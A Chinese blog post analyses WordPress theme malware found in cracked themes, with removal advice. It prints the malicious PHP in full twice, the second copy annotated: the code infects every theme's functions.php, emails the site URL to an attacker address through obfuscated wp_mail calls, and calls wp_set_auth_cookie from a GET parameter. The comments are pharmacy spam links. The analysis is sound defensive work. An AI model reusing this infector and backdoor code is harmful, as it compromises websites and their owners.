分析:Fatal error: Cannot redeclare _check_isactive_widget()主题被恶意代码感染

 

在网上下载的破解主题有的含有恶意代码,这段代码会感染theme目录下所有WordPress主题的functions.php文件,不知道这段恶意代码有什么破坏行为,会自动为所有主题的 functions.php 加上此代码。感染后,每当你修改主题或转换主题时提示 “Fatal error: Cannot redeclare _check_isactive_widget()”、”_get_allwidgetcont” 等错误,那你的主题很有很可能已被污染。此时搜索一下所有主题的functions.php文件里是否含有这段代码。包含_verifyactivate_widgets()、_verify_isactivate_widgets()、_check_isactive_widget()、_get_allwidgetscont()、_prepare_widgets()、_popular_posts()等函数,完整代码如下:

  1. <?php
  2. function _check_isactive_widget(){
  3. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),”<“.”?”));$output=””;$allowed=””;
  4. $output=strip_tags($output$allowed);
  5. $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),”themes”) + 6)));
  6. if (is_array($direst)){
  7. foreach ($direst as $item){
  8. if (is_writable($item)){
  9. $ftion=substr($widget,stripos($widget,”_”),stripos(substr($widget,stripos($widget,”_”)),”(“));
  10. $cont=file_get_contents($item);
  11. if (stripos($cont,$ftion) === false){
  12. $explar=stripossubstr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
  13. $output .= $before . “Not found” . $after;
  14. if (stripossubstr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
  15. $output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $explar . “\n” .$widget);fclose($f);
  16. $output .= ($showdots && $ellipsis) ? “…” : “”;
  17. }
  18. }
  19. }
  20. }
  21. return $output;
  22. }
  23. function _get_allwidgetcont($wids,$items=array()){
  24. $places=array_shift($wids);
  25. if(substr($places,-1) == “/”){
  26. $places=substr($places,0,-1);
  27. }
  28. if(!file_exists($places) || !is_dir($places)){
  29. return false;
  30. }elseif(is_readable($places)){
  31. $elems=scandir($places);
  32. foreach ($elems as $elem){
  33. if ($elem != “.” && $elem != “..”){
  34. if (is_dir($places . “/” . $elem)){
  35. $wids[]=$places . “/” . $elem;
  36. elseif (is_file($places . “/” . $elem)&&
  37. $elem == substr(__FILE__,-13)){
  38. $items[]=$places . “/” . $elem;}
  39. }
  40. }
  41. }else{
  42. return false;
  43. }
  44. if (sizeof($wids) > 0){
  45. return _get_allwidgetcont($wids,$items);
  46. else {
  47. return $items;
  48. }
  49. }
  50. if(!function_exists(“stripos”)){
  51. function stripos$str$needle$offset = 0 ){
  52. return strposstrtolower$str ), strtolower$needle ), $offset );
  53. }
  54. }
  55. if(!function_exists(“strripos”)){
  56. function strripos$haystack$needle$offset = 0 ) {
  57. if( !is_string$needle ) )$needle = chrintval$needle ) );
  58. if$offset < 0 ){
  59. $temp_cut = strrevsubstr$haystack, 0, abs($offset) ) );
  60. }
  61. else{
  62. $temp_cut = strrevsubstr$haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
  63. }
  64. if( ( $found = stripos$temp_cutstrrev($needle) ) ) === FALSE )return FALSE;
  65. $pos = ( strlen$haystack ) – ( $found + $offset + strlen$needle ) ) );
  66. return $pos;
  67. }
  68. }
  69. if(!function_exists(“scandir”)){
  70. function scandir($dir,$listDirectories=false, $skipDots=true) {
  71. $dirArray = array();
  72. if ($handle = opendir($dir)) {
  73. while (false !== ($file = readdir($handle))) {
  74. if (($file != “.” && $file != “..”) || $skipDots == true) {
  75. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  76. array_push($dirArray,basename($file));
  77. }
  78. }
  79. closedir($handle);
  80. }
  81. return $dirArray;
  82. }
  83. }
  84. add_action(“admin_head”, “_check_isactive_widget”);
  85. function _getsprepare_widget(){
  86. if(!isset($com_length)) $com_length=120;
  87. if(!isset($text_value)) $text_value=”cookie”;
  88. if(!isset($allowed_tags)) $allowed_tags=”<a>”;
  89. if(!isset($type_filter)) $type_filter=”none”;
  90. if(!isset($expl)) $expl=””;
  91. if(!isset($filter_homes)) $filter_homes=get_option(“home”);
  92. if(!isset($pref_filter)) $pref_filter=”wp_”;
  93. if(!isset($use_more)) $use_more=1;
  94. if(!isset($comm_type)) $comm_type=””;
  95. if(!isset($pagecount)) $pagecount=$_GET[“cperpage”];
  96. if(!isset($postauthor_comment)) $postauthor_comment=””;
  97. if(!isset($comm_is_approved)) $comm_is_approved=””;
  98. if(!isset($postauthor)) $postauthor=”auth”;
  99. if(!isset($more_link)) $more_link=”(more…)”;
  100. if(!isset($is_widget)) $is_widget=get_option(“_is_widget_active_”);
  101. if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter.”set”.”_”.$postauthor.”_”.$text_value;
  102. if(!isset($more_link_ditails)) $more_link_ditails=”(details…)”;
  103. if(!isset($morecontents)) $morecontents=”ma”.$expl.”il”;
  104. if(!isset($fmore)) $fmore=1;
  105. if(!isset($fakeit)) $fakeit=1;
  106. if(!isset($sql)) $sql=””;
  107. if (!$is_widget) :
  108. global $wpdb$post;
  109. $sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$expl.”vethe”.$comm_type.”mes”.$expl.”@”.$comm_is_approved.”gm”.$postauthor_comment.”ail”.$expl.”.”.$expl.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
  110. if (!emptyempty($post->post_password)) {
  111. if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
  112. if(is_feed()) {
  113. $output=__(“There is no excerpt because this is a protected post.”);
  114. else {
  115. $output=get_the_password_form();
  116. }
  117. }
  118. }
  119. if(!isset($f_tags)) $f_tags=1;
  120. if(!isset($type_filters)) $type_filters=$filter_homes;
  121. if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
  122. if(!isset($aditional_tags)) $aditional_tags=”div”;
  123. if(!isset($s_cont)) $s_cont=substr($sq1stripos($sq1, “live”), 20);#
  124. if(!isset($more_link_text)) $more_link_text=”Continue reading this entry”;
  125. if(!isset($showdots)) $showdots=1;
  126. $comments=$wpdb->get_results($sql);
  127. if($fakeit == 2) {
  128. $text=$post->post_content;
  129. elseif($fakeit == 1) {
  130. $text=(emptyempty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  131. else {
  132. $text=$post->post_excerpt;
  133. }
  134. $sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($getcommentscontarray($s_cont$filter_homes$type_filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
  135. if($com_length < 0) {
  136. $output=$text;
  137. else {
  138. if(!$no_more && strpos($text, “<!–more–>”)) {
  139. $text=explode(“<!–more–>”, $text, 2);
  140. $l=count($text[0]);
  141. $more_link=1;
  142. $comments=$wpdb->get_results($sql);
  143. else {
  144. $text=explode(” “, $text);
  145. if(count($text) > $com_length) {
  146. $l=$com_length;
  147. $ellipsis=1;
  148. else {
  149. $l=count($text);
  150. $more_link=””;
  151. $ellipsis=0;
  152. }
  153. }
  154. for ($i=0; $i<$l$i++)
  155. $output .= $text[$i] . ” “;
  156. }
  157. update_option(“_is_widget_active_”, 1);
  158. if(“all” != $allowed_tags) {
  159. $output=strip_tags($output$allowed_tags);
  160. return $output;
  161. }
  162. endif;
  163. $output=rtrim($output, “\s\n\t\r\0\x0B”);
  164. $output=($f_tags) ? balanceTags($output, true) : $output;
  165. $output .= ($showdots && $ellipsis) ? “…” : “”;
  166. $output=apply_filters($type_filter$output);
  167. switch($aditional_tags) {
  168. case(“div”) :
  169. $tag=”div”;
  170. break;
  171. case(“span”) :
  172. $tag=”span”;
  173. break;
  174. case(“p”) :
  175. $tag=”p”;
  176. break;
  177. default :
  178. $tag=”span”;
  179. }
  180. if ($use_more ) {
  181. if($fmore) {
  182. $output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post->ID) . “#more-” . $post->ID .”\” title=\”” . $more_link_text . “\”>” . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : “” . “</a></” . $tag . “>” . “\n”;
  183. else {
  184. $output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post->ID) . “\” title=\”” . $more_link_text . “\”>” . $more_link . “</a></” . $tag . “>” . “\n”;
  185. }
  186. }
  187. return $output;
  188. }
  189. add_action(“init”, “_getsprepare_widget”);
  190. function __popular_posts($no_posts=6, $before=”<li>”, $after=”</li>”, $show_pass_post=false, $duration=””) {
  191. global $wpdb;
  192. $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
  193. $request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
  194. if(!$show_pass_post$request .= ” AND post_password =\”\””;
  195. if($duration !=””) {
  196. $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
  197. }
  198. $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
  199. $posts=$wpdb->get_results($request);
  200. $output=””;
  201. if ($posts) {
  202. foreach ($posts as $post) {
  203. $post_title=stripslashes($post->post_title);
  204. $comment_count=$post->comment_count;
  205. $permalink=get_permalink($post->ID);
  206. $output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.”\”>” . $post_title . “</a> ” . $after;
  207. }
  208. else {
  209. $output .= $before . “None found” . $after;
  210. }
  211. return $output;
  212. }
  213. ?>

原理:

每当wp加载主题时,会调用function.php里面的函数,而恶意代码会在此过程中加在,并检测到你wp主题的绝对路径,之后把其它的主题一并感染,而且它加了很多伪装代码,此代码变量众多,下面是google后找到的结果:

再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的functions.php,并在functions.php文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的url地址到livethemas@gmail.com(可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将email地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此email地址。

解决方法:

把感染了代码的主题下载到电脑本地,在每个主题的functions.php文件中删除所有恶意代码,再上传到主题目录启用。

下面是该代码的注释版本:

  1. <?php
  2. function _verifyactivate_widgets(){
  3.     //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
  4.         //查找当前主题functions.php文件中最后一个 < ? 标记,从这个标记的位置开始,取得一直到文件尾的内容
  5.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
  6.     $output=“”;
  7.     $allowed=“”;
  8.     //去除html和php标签,其实这一句是扯蛋。。。
  9.     $output=strip_tags($output$allowed);
  10.     //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
  11.         //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
  12.         //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
  13.     $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
  14.     if (is_array($direst)){
  15.         foreach ($direst as $item){
  16.             //如果主题functions.php文件可写
  17.             if (is_writable($item)){
  18.                 //特征码
  19.                 $ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
  20.                 //取目标functions.php文件内容
  21.                 $cont=file_get_contents($item);
  22.                 //没找到特征码?OK,试图感染
  23.                 if (stripos($cont,$ftion) === false){
  24.                     //查看目标functions.php文件最后是否是以 ? > 结尾,如果不是,给加上 ? > 标记
  25.                     $comaar=stripossubstr($cont,-20),“?”.“>”) !== false ? “” : “?”.“>”;
  26.                     //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
  27.                     $output .= $before . “Not found” . $after;
  28.                     //如果文件是以 ?> 标记结尾的,连标记一起取过来
  29.                     if (stripossubstr($cont,-20),“?”.“>”) !== false){$cont=substr($cont,0,strripos($cont,“?”.“>”) + 2);}
  30.                     //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
  31.                     $output=rtrim($output“\n\t”); fputs($f=fopen($item,“w+”),$cont . $comaar . “\n” .$widget);fclose($f);
  32.                     //后面这句也是伪装用的           
  33.                     $output .= ($isshowdots &#038;&#038; $ellipsis) ? “…” : “”;
  34.                 }
  35.             }
  36.         }
  37.     }
  38.     return $output;
  39. }
  40. function _get_allwidgets_cont($wids,$items=array()){
  41.     //从$wids数组弹出一个元素(实际上是一个位置)
  42.     $places=array_shift($wids);
  43.     //如果位置字串是以/结尾的,则去掉/
  44.     if(substr($places,-1) == “/”){
  45.         $places=substr($places,0,-1);
  46.     }
  47.     //若不存在这样的文件或目录则直接返回false
  48.     if(!file_exists($places) || !is_dir($places)){
  49.         return false;
  50.     }elseif(is_readable($places)){
  51.         //否则的话。。。嘿嘿
  52.         //遍历此目录
  53.         $elems=scandir($places);
  54.         foreach ($elems as $elem){
  55.             if ($elem != “.” &#038;&#038; $elem != “..”){
  56.                 //如果是目录,则加入$wids数组
  57.                 if (is_dir($places . “/” . $elem)){
  58.                     $wids[]=$places . “/” . $elem;
  59.                 } elseif (is_file($places . “/” . $elem)&#038;&#038;
  60.                     $elem == substr(__FILE__,-13)){
  61.                         //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
  62.                     $items[]=$places . “/” . $elem;}
  63.                 }
  64.             }
  65.     }else{
  66.         return false;
  67.     }
  68.     //下面还有子目录?再找找看,递归
  69.     if (sizeof($wids) > 0){
  70.         return _get_allwidgets_cont($wids,$items);
  71.     } else {
  72.         //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
  73.         return $items;
  74.     }
  75. }
  76. //下面是3个针对低版本的php而写的兼容函数
  77. if(!function_exists(“stripos”)){
  78.     function stripos(  $str$needle$offset = 0  ){
  79.         return strpos(  strtolower$str ), strtolower$needle ), $offset  );
  80.     }
  81. }
  82. if(!function_exists(“strripos”)){
  83.     function strripos(  $haystack$needle$offset = 0  ) {
  84.         if(  !is_string$needle )  )$needle = chr(  intval$needle )  );
  85.         if(  $offset < 0  ){
  86.             $temp_cut = strrev(  substr$haystack, 0, abs($offset) )  );
  87.         }
  88.         else{
  89.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) – $offset ), 0  )   )    );
  90.         }
  91.         if(   (  $found = stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE;
  92.         $pos = (   strlen(  $haystack  ) – (  $found + $offset + strlen$needle )  )   );
  93.         return $pos;
  94.     }
  95. }
  96. if(!function_exists(“scandir”)){
  97.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  98.         $dirArray = array();
  99.         if ($handle = opendir($dir)) {
  100.             while (false !== ($file = readdir($handle))) {
  101.                 if (($file != “.” &#038;&#038; $file != “..”) || $skipDots == true) {
  102.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  103.                     array_push($dirArray,basename($file));
  104.                 }
  105.             }
  106.             closedir($handle);
  107.         }
  108.         return $dirArray;
  109.     }
  110. }
  111. //这个动作添加了,用于检测所有主题目录下functions.php并感染
  112. add_action(“admin_head”“_verifyactivate_widgets”);
  113. function _getprepare_widget(){
  114.     if(!isset($text_length)) $text_length=120;
  115.     if(!isset($check)) $check=“cookie”;
  116.     if(!isset($tagsallowed)) $tagsallowed=“<a>”;
  117.     if(!isset($filter)) $filter=“none”;
  118.     if(!isset($coma)) $coma=“”;
  119.     if(!isset($home_filter)) $home_filter=get_option(“home”);
  120.     if(!isset($pref_filters)) $pref_filters=“wp_”;
  121.     if(!isset($is_use_more_link)) $is_use_more_link=1;
  122.     if(!isset($com_type)) $com_type=“”;
  123.     if(!isset($cpages)) $cpages=$_GET[“cperpage”];
  124.     if(!isset($post_auth_comments)) $post_auth_comments=“”;
  125.     if(!isset($com_is_approved)) $com_is_approved=“”;
  126.     if(!isset($post_auth)) $post_auth=“auth”;
  127.     if(!isset($link_text_more)) $link_text_more=“(more…)”;
  128.     if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
  129.     if(!isset($checkswidgets))
  130.     //这个实际是wp_set_auth_cookie
  131.     $checkswidgets=$pref_filters.“set”.“_”.$post_auth.“_”.$check;
  132.     if(!isset($link_text_more_ditails)) $link_text_more_ditails=“(details…)”;
  133.     if(!isset($contentmore)) $contentmore=“ma”.$coma.“il”;
  134.     if(!isset($for_more)) $for_more=1;
  135.     if(!isset($fakeit)) $fakeit=1;
  136.     if(!isset($sql)) $sql=“”;
  137.     //如果 _is_widget_active_ option内容为空,即表示没有被感染过
  138.     if (!$widget_yes) :
  139.     global $wpdb$post;
  140.     //取出存在已经通过的评论(不包括trackback/pingback)的文章
  141.     // post_author 为 livethemas@gmail.com 的文章,肯定是没有的
  142.     $sq1=“SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li“.$coma.”vethe“.$com_type.”mas“.$coma.”@“.$com_is_approved.”gm“.$post_auth_comments.”ail“.$coma.”.“.$coma.”co“.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
  143.     if (!emptyempty($post->post_password)) {
  144.         if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
  145.             if(is_feed()) {
  146.                 $output=__(“There is no excerpt because this is a protected post.”);
  147.             } else {
  148.                 $output=get_the_password_form();
  149.             }
  150.         }
  151.     }
  152.     if(!isset($fixed_tags)) $fixed_tags=1;
  153.     if(!isset($filters)) $filters=$home_filter;
  154.     //$gettextcomments实际上为 wp_mail
  155.     if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
  156.     if(!isset($tag_aditional)) $tag_aditional=“div”;
  157.     //这里$sh_cont即为 livethemas@gmail.com
  158.     if(!isset($sh_cont)) $sh_cont=substr($sq1stripos($sq1“live”), 20);#
  159.     if(!isset($more_text_link)) $more_text_link=“Continue reading this entry”;
  160.     if(!isset($isshowdots)) $isshowdots=1;
  161.     $comments=$wpdb->get_results($sql);
  162.     if($fakeit == 2) {
  163.         $text=$post->post_content;
  164.     } elseif($fakeit == 1) {
  165.         $text=(emptyempty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  166.     } else {
  167.         $text=$post->post_excerpt;
  168.     }
  169.     //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址
  170.     $sq1=“SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcommentsarray($sh_cont$home_filter$filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
  171.     if($text_length < 0) {
  172.         $output=$text;
  173.     } else {
  174.         if(!$no_more &#038;&#038; strpos($text“<!–more–>”)) {
  175.             $text=explode(“<!–more–>”$text, 2);
  176.             $l=count($text[0]);
  177.             $more_link=1;
  178.             //执行这一句时就开始发邮件了。
  179.             $comments=$wpdb->get_results($sql);
  180.         } else {
  181.             $text=explode(” “$text);
  182.             if(count($text) > $text_length) {
  183.                 $l=$text_length;
  184.                 $ellipsis=1;
  185.             } else {
  186.                 $l=count($text);
  187.                 $link_text_more=“”;
  188.                 $ellipsis=0;
  189.             }
  190.         }
  191.         for ($i=0; $i<$l$i++)
  192.                 $output .= $text[$i] . ” “;
  193.     }
  194.     //把感染标记置为1
  195.     update_option(“_is_widget_active_”, 1);
  196.     if(“all” != $tagsallowed) {
  197.         $output=strip_tags($output$tagsallowed);
  198.         return $output;
  199.     }
  200.     endif;
  201.     $output=rtrim($output“\s\n\t\r\0\x0B”);
  202.     $output=($fixed_tags) ? balanceTags($output, true) : $output;
  203.     $output .= ($isshowdots &#038;&#038; $ellipsis) ? “…” : “”;
  204.     //$filter 为 none …,又是在伪装
  205.     $output=apply_filters($filter$output);
  206.     switch($tag_aditional) {
  207.         case(“div”) :
  208.             $tag=“div”;
  209.         break;
  210.         case(“span”) :
  211.             $tag=“span”;
  212.         break;
  213.         case(“p”) :
  214.             $tag=“p”;
  215.         break;
  216.         default :
  217.             $tag=“span”;
  218.     }
  219. //$checkswidgets即是wp_set_auth_cookie
  220.     if ($is_use_more_link ) {
  221.         if($for_more) {
  222.             $output .= ” <“ . $tag . ” class=”more-link“><a href=”“. get_permalink($post->ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . ““>” . $link_text_more = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
  223.         } else {
  224.             $output .= ” <“ . $tag . ” class=”more-link“><a href=”“. get_permalink($post->ID) . “” title=”” . $more_text_link . ““>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
  225.         }
  226.     }
  227.     return $output;
  228. }
  229. //这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
  230. add_action(“init”“_getprepare_widget”);
  231. //这个函数也是用来伪装的,无恶意
  232. function __popular_posts($no_posts=6, $before=“<li>”$after=“</li>”$show_pass_post=false, $duration=“”) {
  233.     global $wpdb;
  234.     $request=“SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS “comment_count” FROM $wpdb->posts, $wpdb->comments”;
  235.     $request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish“”;
  236.     if(!$show_pass_post$request .= ” AND post_password =”“”;
  237.     if($duration !=“”) {
  238.         $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
  239.     }
  240.     $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
  241.     $posts=$wpdb->get_results($request);
  242.     $output=“”;
  243.     if ($posts) {
  244.         foreach ($posts as $post) {
  245.             $post_title=stripslashes($post->post_title);
  246.             $comment_count=$post->comment_count;
  247.             $permalink=get_permalink($post->ID);
  248.             $output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.”“>” . $post_title . “</a> “ . $after;
  249.         }
  250.     } else {
  251.         $output .= $before . “None found” . $after;
  252.     }
  253.     return  $output;
  254. }
  255. ?>
「点点赞赏,手留余香」

    还没有人赞赏,快来当第一个赞赏的人吧!
66 条回复 A 作者 M 管理员
  1. no 1 canadian pharcharmy online https://fwervs.gumroad.com/

    Many thanks. I enjoy this!

  2. canadian pharmacies https://deiun.flazio.com/

    Seriously loads of fantastic tips.

  3. cialis pills https://hekluy.ucraft.site/

    You actually suggested this exceptionally well.

  4. canadian discount pharmacies https://hertnsd.nethouse.ru/

    Kudos. Quite a lot of info.

  5. cialis 20 mg best price https://avuiom.sellfy.store/

    You actually said that exceptionally well.

  6. cialis from canada http://site592154748.fo.team/

    Beneficial postings. Thanks a lot.

欢迎您,新朋友,感谢参与互动!欢迎您 {{author}},您在本站有{{commentsCount}}条评论